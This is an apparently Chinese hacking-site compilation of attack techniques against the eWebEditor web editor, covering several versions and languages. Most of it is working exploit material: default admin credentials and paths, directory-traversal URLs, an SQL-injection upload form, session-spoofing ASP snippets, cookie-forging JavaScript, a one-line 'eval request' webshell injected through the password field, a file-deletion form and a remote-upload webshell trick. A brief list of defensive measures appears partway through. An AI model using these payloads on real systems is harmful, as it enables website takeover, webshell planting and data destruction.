标题 | 简介 | 类型 | 公开时间 | ||||||||||
|
|||||||||||||
|
|||||||||||||
详情 | |||||||||||||
[SAFE-ID: JIWO-2023-1511] 作者: ecawen 发表于: [2018-05-04]
本文共 [300] 位读者顶过
1、关键文件的名称和路径[出自:jiwo.org]
Admin_Login.asp 登录页面 Admin_Default.asp 管理首页 Admin_Style.asp Admin_UploadFile.asp Upload.asp Admin_ModiPwd.asp eWebEditor.asp db/ewebeditor.mdb 默认数据库路径 默认用户名admin,密码admin,admin888 一般用这个的默认后台的URL都是默认的: www.0dayhack.com/admin/ewebeditor/login_admin.asp 类似: www.0dayhack.com/ewebeditor/login_admin.asp www.0dayhack.com/admin/eweb/login_admin.asp www.0dayhack.com/admin/editor/login_admin.asp 而且账户和密码也基本都是默认的:admin admin(admin888) 2、ewebeditor编辑器一般默认数据库路径是db/ewebeditor.mdb 默认的后台路径是admin_login.asp 建议最好检测下admin_style.asp文件是否可以直接访问 3、遍历目录漏洞(具体如下): 登陆编辑器---上传文件管理---选择样式目录(随便选一个目录) 得到: ewebeditor/admin_uploadfile.asp?id=14 在id=14后面添加&dir=.. 再加 &dir=../.. &dir=../../../.. 看到整个网站文件了。 4、当数据库被管理员修改为asp、asa后缀的时候,可以插一句话木马服务端进入数据库,然后一句话木马客户端连接拿下webshell。 5、有的时候爆了数据库找不到后台地址,其实可以试试查看样式表,有没别人加入的asp、asa后缀样式表。 还有的时候聪明的管理员也就是加“#”不妨社工试试。例如:db/#ewebeditor.asa、db/#ewebeditor.asp 、db/#ewebeditor.mdb。 6、注入2.1.6ewebeditor编辑器。如下保存为html文件修改action,直接上传cer马。 <H1>ewebeditor asp版 2.1.6 上传漏洞利用程序----</H1><br><br> <form action="http://127.1/e/upload.asp?action=save&type=IMAGE&style=luoye' union select S_ID,S_Name,S_Dir,S_CSS,S_UploadDir,S_Width,S_Height,S_Memo,S_IsSys,S_FileExt,S_FlashExt, [S_ImageExt]%2b'|cer',S_MediaExt,S_FileSize,S_FlashSize,S_ImageSize,S_MediaSize,S_StateFlag,S_DetectFromWord,S_InitMode,S_BaseUrl from ewebeditor_style where s_name='standard'and'a'='a" method=post name=myform enctype="multipart/form-data"> <input type=file name=uploadfile size=100><br><br> <input type=submit value=Fuck> </form> 7、ewebeditor2.7.0版本注入漏洞 简单利用就是 http://www.0dayhack.com/ewebeditor/ewebeditor.asp?id=article_content&style=full_v200 默认表名:eWebEditor_System默认列名:sys_UserName、sys_UserPass,然后利用穿山甲进行猜解,对此进行注入取得账号密码。 8、有的时候管理员不让复制样式,但是你又看到有个样式被别人以前入侵修改了存在asa或者之类可以传shell,但是上传插入工具没有,又无法修改怎么办那?也许很多人说应该可以加工具栏,但是我就遇见过不让加的,这样我们可以利用ewebeditor里的upload.asp文件进行本地构造进行上传具体如下: 在action下面 <form action="" > <input type=file name=uploadfile size=1 style="width:100%" onchange="originalfile.value=this.value"> <input type="submit" name="uploadfile" value="提交"> <input type=hidden name=originalfile value=""> </form> <input type="submit" name="uploadfile" value="提交"> 放在action后头 ,适合用于在ewebeditor后台那个预览那里出来的 比如上传图片那里,有些时候上传页面弹不出来,就可以用upload.asp?action=save&type=ASA&style=test 这个本地来提交,不过这个东西还是要数据库里上传类型有ASA才可以传得上。 9、还有种方式是最近坏客发现的 利用WebEditor session欺骗漏洞,进入后台: 漏洞文件:Admin_Private.asp 漏洞语句: <% If Session("eWebEditor_User") = "" Then Response.Redirect "admin_login.asp" Response.End End If 只判断了session,没有判断cookies和路径的验证问题。 漏洞利用: 新建一个amxking.asp内容如下: <%Session("eWebEditor_User") = "11111111"%> 访问amxking.asp,再访问后台任何文件,for example:Admin_Default.asp 面对此种威胁网站管理员应该做好如下的防范措施: 1、使用了eWebEditor编辑器的网站,应及时修改该编辑器的默认数据库路径和后缀名,建议数据库多方几层目录,防止数据库被黑客非法下载 2、修改编辑器后台登陆路径和默认的登陆用户名和密码,防止黑客进入后台管理界面 3、对Upload.asp语句进行修改,防止黑客利用其上传ASP木马从而获得WEB权限 4、及时对网站服务器IIS配置中的应用程序扩展名映射进行整理,确保其它类型的文件不能在服务器网站上运行 ewebeditor 5.2 列目录漏洞 出现漏洞的文件存在于ewebeditor/asp/browse.asp ASP/Visual Basic代码 Function GetList() Dim s_List, s_Url s_List = "" Dim oFSO, oUploadFolder, oUploadFiles, oUploadFile, sFileName 'Response.Write sCurrDir 'On Error Resume Next Set oFSO = Server.CreateObject("Scripting.FileSystemObject") Set oUploadFolder = oFSO.GetFolder(Server.MapPath(sCurrDir)) '注意一下sCurrDir变量,这个值等下我们可以用到 If Err.Number>0 Then s_List = "" Exit Function End If If sDir <> "" Then If InstrRev(sDir, "/") > 1 Then s_Url= Left(sDir, InstrRev(sDir, "/") - 1) Else s_Url = "" End If s_List = s_List & "" & _ "" & _ ".." & _ " " & _ "" End If 'Response.Write sDir&"!"&s_List Dim oSubFolder For Each oSubFolder In oUploadFolder.SubFolders 'Response.Write oUploadFolder.SubFolders If sDir = "" Then s_Url = oSubFolder.Name Else s_Url = sDir & "/" & oSubFolder.Name End If s_List = s_List & "" & _ "" & _ "" & oSubFolder.Name & "" & _ " " & _ "" Next 'Response.Write s_List Set oUploadFiles = oUploadFolder.Files For Each oUploadFile In oUploadFiles 'Response.Write oUploadFile.Name sFileName = oUploadFile.Name If CheckValidExt(sFileName) = True Then '这行让人有点郁闷,检测了所有允许的文件后缀,如不允许就无法列出,不然就不只列出目录名和图片文件了 If sDir = "" Then s_Url = sContentPath & sFileName Else s_Url = sContentPath & sDir & "/" & sFileName End If s_List = s_List & "" & _ "" & FileName2Pic(sFileName) & "" & _ "" & sFileName & "" & _ "" & GetSizeUnit(oUploadFile.size) & "" & _ "" End If Next Set oUploadFolder = Nothing Set oUploadFiles = Nothing 'Response.Write Server.HTMLEncode(s_List)&"!"&s_Url If sDir = "" Then s_Url = "" 's_Url = "/" Else s_Url = "/" & sDir & "" 's_Url = "/" & sDir & "/" End If s_List = s_List & "" s_List = HTML2JS(s_List) 'Response.Write Server.HTMLEncode(s_List)&"!"&s_Url s_List = "parent.setDirList(""" & s_List & """, """ & s_Url & """)" GetList = s_List End Function '如果没有下面这步检测的话,应该就可以列出目录中所有的文件了,有点郁闷..现在只能列出允许后缀的文件和目录名 Function CheckValidExt(s_FileName) If sAllowExt = "" Then CheckValidExt = True Exit Function End If Dim i, aExt, sExt sExt = LCase(Mid(s_FileName, InStrRev(s_FileName, ".") + 1)) CheckValidExt = False aExt = Split(LCase(sAllowExt), "|") For i = 0 To UBound(aExt) If aExt(i) = sExt Then CheckValidExt = True Exit Function End If Next End Function '我们顺着代码往下找,发现sCurrDir的值是通过下面的值得到的 Sub InitParam() sType = UCase(Trim(Request.QueryString("type"))) sStyleName = Trim(Request.QueryString("style")) Dim i, aStyleConfig, bValidStyle bValidStyle = False For i = 1 To Ubound(aStyle) aStyleConfig = Split(aStyle(i), "|||") If Lcase(sStyleName) = Lcase(aStyleConfig(0)) Then bValidStyle = True Exit For End If Next If bValidStyle = False Then OutScript("alert('Invalid Style.')") End If sBaseUrl = aStyleConfig(19) 'nAllowBrowse = CLng(aStyleConfig(43)) nAllowBrowse = 1 If nAllowBrowse <> 1 Then OutScript("alert('Do not allow browse!')") End If sUploadDir = aStyleConfig(3) If Left(sUploadDir, 1) <> "/" Then Select Case sType Case "REMOTE" sUploadDir = "../../" & sUploadDir & "Image/" Case "FILE" sUploadDir = "../../" & sUploadDir & "Other/" Case "MEDIA" sUploadDir = "../../" & sUploadDir & "Media/" Case "FLASH" sUploadDir = "../../" & sUploadDir & "Flash/" Case Else sUploadDir = "../../" & sUploadDir & "Image/" End Select End If 'sUploadDir =sUploadDir &"/" Select Case sBaseUrl Case "0" 'sContentPath = aStyleConfig(23) Select Case sType Case "REMOTE" sContentPath = "../" & aStyleConfig(3) & "Image/" Case "FILE" sContentPath = "../" & aStyleConfig(3) & "Other/" Case "MEDIA" sContentPath = "../" & aStyleConfig(3) & "Media/" Case "FLASH" sContentPath = "../" & aStyleConfig(3) & "Flash/" Case Else sContentPath = "../" & aStyleConfig(3) & "Image/" End Select Case "1" sContentPath = RelativePath2RootPath(sUploadDir) Case "2" sContentPath = RootPath2DomainPath(RelativePath2RootPath(sUploadDir)) End Select Select Case sType Case "REMOTE" sAllowExt = aStyleConfig(10) Case "FILE" sAllowExt = aStyleConfig(6) Case "MEDIA" sAllowExt = aStyleConfig(9) Case "FLASH" sAllowExt = aStyleConfig(7) Case Else sAllowExt = aStyleConfig(8) End Select sCurrDir = sUploadDir '注意这里,这个是得到了配置的路径地址 sDir = Trim(Request("dir")) '得到dir变量 sDir = Replace(sDir, "\", "/") '对dir变量进行过滤 sDir = Replace(sDir, "../", "") sDir = Replace(sDir, "./", "") If sDir <> "" Then If CheckValidDir(Server.Mappath(sUploadDir & sDir)) = True Then sCurrDir = sUploadDir & sDir & "/" '重点就在这里了,看到没有,当sUploadDir & sDir存在的时候,sCurrDir就为sUploadDir & sDir的值了 '虽然上面对sDir进行了过滤,不过我们完全可以跳过.具体利用st0p会在下面的利用中给出 Else sDir = "" End If End If End Sub 嘿嘿,看到这你应该明白了,其实就是对dir过滤的问题,我们完全可以构造特殊的值来跳过验证,这样就可以得到目录结构和显示设置文件中允许的文件后缀的文件了.. 利用方法如下 http://www.0dayhack.com/ewebeditor/asp/browse.asp?style=standard650&dir=…././/.. 由于st0p测试的时候,上传目录是根目录下的uploadfile,通过上面的地址就可以得到根目录下的所有目录了. 嘿嘿,如果你发现打开的时候显示的是空白,不要灰心,这就对了,直接查看源代码,看到了吗,里面就有你根目录的目录名字了. 嘿嘿,他根目录下有个guest目录,我们通过下面的地址可以列出他下面的结构 http://www.0dayhack.com/ewebeditor/asp/browse.asp?style=standard650&dir=…././/…././/guest 然后我们也可以通过 http://www.0dayhack.com/ewebeditor/asp/browse.asp?style=standard650&dir=…././/../…././/.. 可以往更上层跳,我测试的那个虚拟主机,得到的是www,logfile,datebase这三个目录. eWebEditorv5.5asp存在session欺骗漏洞! 记得以前eWebEditor在线编辑器有个session欺骗漏洞没想到5.5版本也存在! 新建一个.asp文件,内容如下: <%Session("eWebEditor_User") = "123132323"%> 然后访问这个文件,再访问ewebeditor/admin_default.asp !欺骗进入后台!不过很老了! 代码如下: '登录检查 Function ChkLogin() If session("editor_admin")="" Or IsNull(session("editor_admin")) Then PhilLogin() session.CodePage = session("PreCodePage") response.End End If End Function 呵呵很明显和以前的版本漏洞一样! 只是判断了session. 利用方法: 新建立个hkok8.asp内容为 <%Session("editor_admin") = "admin"%> 然后访问hkok8.asp 最后访问登陆文件.刷新ok进去了... 要进行这种Session欺骗,必须有三个前提: 1.进行欺骗的网页和被欺骗的网页必须位于同一个网站内. 2.必须知道管理页面。 3.必须知道Session变量以及它的限制条件。 php版ewebeditor 3.8的漏洞 php版本后台是调用../ewebeditor/admin/config.php,大家去看下源码就知道,在这里我说说利用方法: 1 首先当然要找到登陆后台,默认是../eWebEditor/admin/login.php,进入后台后随便输入一个用户和密码,当然会提示出错了,必须是出错的时候,然后这时候你清空浏览器的url,然后输入javascript:alert(document。cookie=”adminuser=”+escape(”admin”));javascript:alert(document。cookie=”adminpass=”+escape(”admin”));javascript:alert(document。cookie=”admindj=”+escape(”1〃));后三次回车, 2 然后输入正常情况才能访问的文件../ewebeditor/admin/default.php就可以进后台了 3 后面的利用和asp一样,新增样式修改上传,就ok了 测试一下asp 2.8版本的,竟然一样可以用,爽,看来asp版的应该可以通杀(只测试2.8的,貌似2.8是最高版本的) aspx的版本../ewebeditor/admin/upload.aspx添好本地的cer的Shell文件,在浏揽器输入javascript:lbtnUpload.click();就能得到shell jsp的上传漏洞以及那个出了N久了,由于没有上传按钮,选择好要上传的shell,直接回车就可以了。 10、eWebEditor 2.8 商业版插一句话木马 影响版本:=>2.8 商业版 攻击利用: 登陆后台,点击修改密码---新密码设置为 1":eval request("h")' 设置成功后访问http://www.0dayhack.com/ewebeditor/asp/config.asp文件即可,一句话木马被写入到这个文件里面了。 11、2.7以下的版本注入 eWebEditor.asp?id=14&style=standard http://www.0dayhack.com/eWebEditor/eWebEditor.asp?id=14&style=standard eweb默认的管理员表是:ewebeditor_system 这个表下的默认两个列名为:sys_UserName和sys_userpass 12、asp版 2.1.6 上传漏洞利用代码如下 <H1>ewebeditor asp版 2.1.6 上传漏洞利用程序----</H1><br><br><form action="http://www.0dayhack.com/eWebEdito/upload.asp?action=save&type=IMAGE&style=luoye' union select S_ID,S_Name,S_Dir,S_CSS,S_UploadDir,S_Width,S_Height,S_Memo,S_IsSys,S_FileExt,S_FlashExt, [S_ImageExt]%2b'|cer',S_MediaExt,S_FileSize,S_FlashSize,S_ImageSize,S_MediaSize,S_StateFlag,S_DetectFromWord,S_InitMode,S_BaseUrl from ewebeditor_style where s_name='standard'and'a'='a" method=postname=myformenctype="multipart/form-data"><input type=filename=uploadfilesize=100><br><br><input type=submitvalue=Fuck></form> 13、ewebeditor 5.5 构造上传漏洞拿shell 先访问这个地址: Editor/asp/upload.asp?action=save&type=image&style=popup&cusdir=sunghost.asp 访问这个地址可以建立个sunghost.ASP的文件夹…… 再用这个html代码上传。 <form action=”http://www.0dayhack.com/Editor/asp/upload.asp?action=save&type=image&style=popup&cusdir=qing.asp” method=post name=myform enctype=”multipart/form-data”> <input type=file name=uploadfile size=100><br><br> <input type=submit value=upload> </form> 本地提交了一个图片小马,返回空白页面,查看源码,得到小马路径。还是IIS解析漏洞~ 对6.X的也管用,对ASP。aspx。JSP。均管用。 14 ewebeditor 2.8 后台插上一句话 攻击利用:登陆后台,点击修改密码—新密码设置为 1":eval request("a")' 设置成功后,访问http://www.0dayhack.com/ewebeditor/asp/config.asp文件即可,一句话木马被写入到这个文件里面了 15 任意文件删除漏洞 此漏洞存在于Example\NewsSystem目录下的delete.asp文件中,这是ewebeditor的测试页面,无须登陆可以直接进入!看代码 ' 把带"|"的字符串转为数组 Dim aSavePathFileName aSavePathFileName = Split(sSavePathFileName, "|") ' 删除新闻相关的文件,从文件夹中 Dim i For i = 0 To UBound(aSavePathFileName) ' 按路径文件名删除文件 Call DoDelFile(aSavePathFileName(i)) Next 而aSavePathFileName是前面从数据库取出来的: sSavePathFileName = oRs("D_SavePathFileName") 看看D_SavePathFileName是怎么添加到数据库里的,在addsave.asp(modifysave.asp)里:sSavePathFileName = GetSafeStr(Request.Form("d_savepathfilename")) oRs("D_SavePathFileName") = sSavePathFileName 居然过滤了,是GetSafeStr函数,再看看这个函数,在Startup.asp里: Function GetSafeStr(str) GetSafeStr = Replace(Replace(Replace(Trim(str), "'", ""), Chr(34), ""), ";", "") End Function 既然路径没有过滤,那就可以直接定义了,构造一个提交页面,其中d_savepathfilename自己任意赋值(要删除多个文件,用|隔开即可)。试试../../eWebEditor.asp,提交后删除该新闻,于是主目录下的eWebEditor.asp不见了!漏洞利用: ------------------------------------------------------------------------------------------- <HTML><HEAD><TITLE>eWebEditor删除文件 byldjun(> 新闻列表%20|%20增加新闻 增加新闻 http://127.0.0.1/editor/Example/NewsSystem/addsave.asp" method="post" name="myform"> <input type=hidden name=d_originalfilename> <input type=hidden name=d_savefilename> <table cellspacing=3 align=center> <tr><td>要删的文件(相对路径就可以了):</td> <td><input type="text" name="d_savepathfilename" value="" size="90"></td> </tr> <tr><td>新闻标题(随便填):</td> <td><input type="text" name="d_title" value="" size="90"></td> </tr> <tr><td>标题图片:</td> <td><select name="d_picture" size=1><option value=''>无</option></select> 当编辑区有插入图片时,将自动填充此下拉框</td> </tr> <tr><td>新闻内容(随便填):</td> <td><textarea name="d_content"></textarea></td> </tr> </table> <input type=submit name=btnSubmit value=" 提 交 "> <input type=reset name=btnReset value=" 重 填 "> </form> </BODY></HTML> 删除文件漏洞一般是配合其他漏洞使用的,比如目录遍历 <a href='list.asp'>中的list.asp地址要修改 <a href='add.asp'>中的add.asp地址要修改 <form action="http://127.0.0.1/editor/Example/NewsSystem/addsave.asp" (http://127.0.0.1/editor/Example/NewsSystem/addsave.asp地址要修改) 另外一个简单利用方式: <form action="http://www.0dayhack.com/editor/example/newssystem/addsave.asp" method="post"> <input type=hidden name=d_originalfilename value="x"> <input type=hidden name=d_savefilename value="x"> 要删除的文件(相对路径,多个文件用“|”隔开)<br> <input type=text name=d_savepathfilename> <input type=hidden name="d_title" value="x"> <input type=hidden name="d_picture" value="x"> <textarea name="d_content">x</textarea> <input type=submit name=btnSubmit value="submit"> </form> 然后得到返回的新闻ID再提交:http://www.0dayhack.com/editor/example/newssystem/delete.asp?id=[id] 16 利用远程上传功能 比如s_full样式就存在这个功能,打开编辑页面,然后图片,选择输入url 比如:http://site.com/1.gif.asp ! 然后选择上传远程文件!自动就把1.gif.asp 保存在上传目录内!注:网上的东西大部分传来传去,这个办法愚弄自己还成!文件的确显示后缀为.asp 但是不能访问,因为收集过来的时候自动截止在1.gif了所以后面的.asp等于没有!而且gif的内容就是我们这个url的路径!呵呵,后来又看到一个利用方式!是利用远程搜集的时候执行,我们文件的代码生成另外的小马! 首先建立1.gif.asp 代码如下 <% Set fs = CreateObject("Scripting.FileSystemObject") Set MyTextStream=fs.OpenTextFile(server.MapPath("\akteam.asp"),1,false,0) Thetext=MyTextStream.ReadAll response.write thetext %> 在我们的1.gif.asp的同目录下建立一个akteam.asp文件,内容就是我们的小马. 利用上面说的远程上传的方式!可以得到webshell!成功率取决于虚拟主机的安全设置! |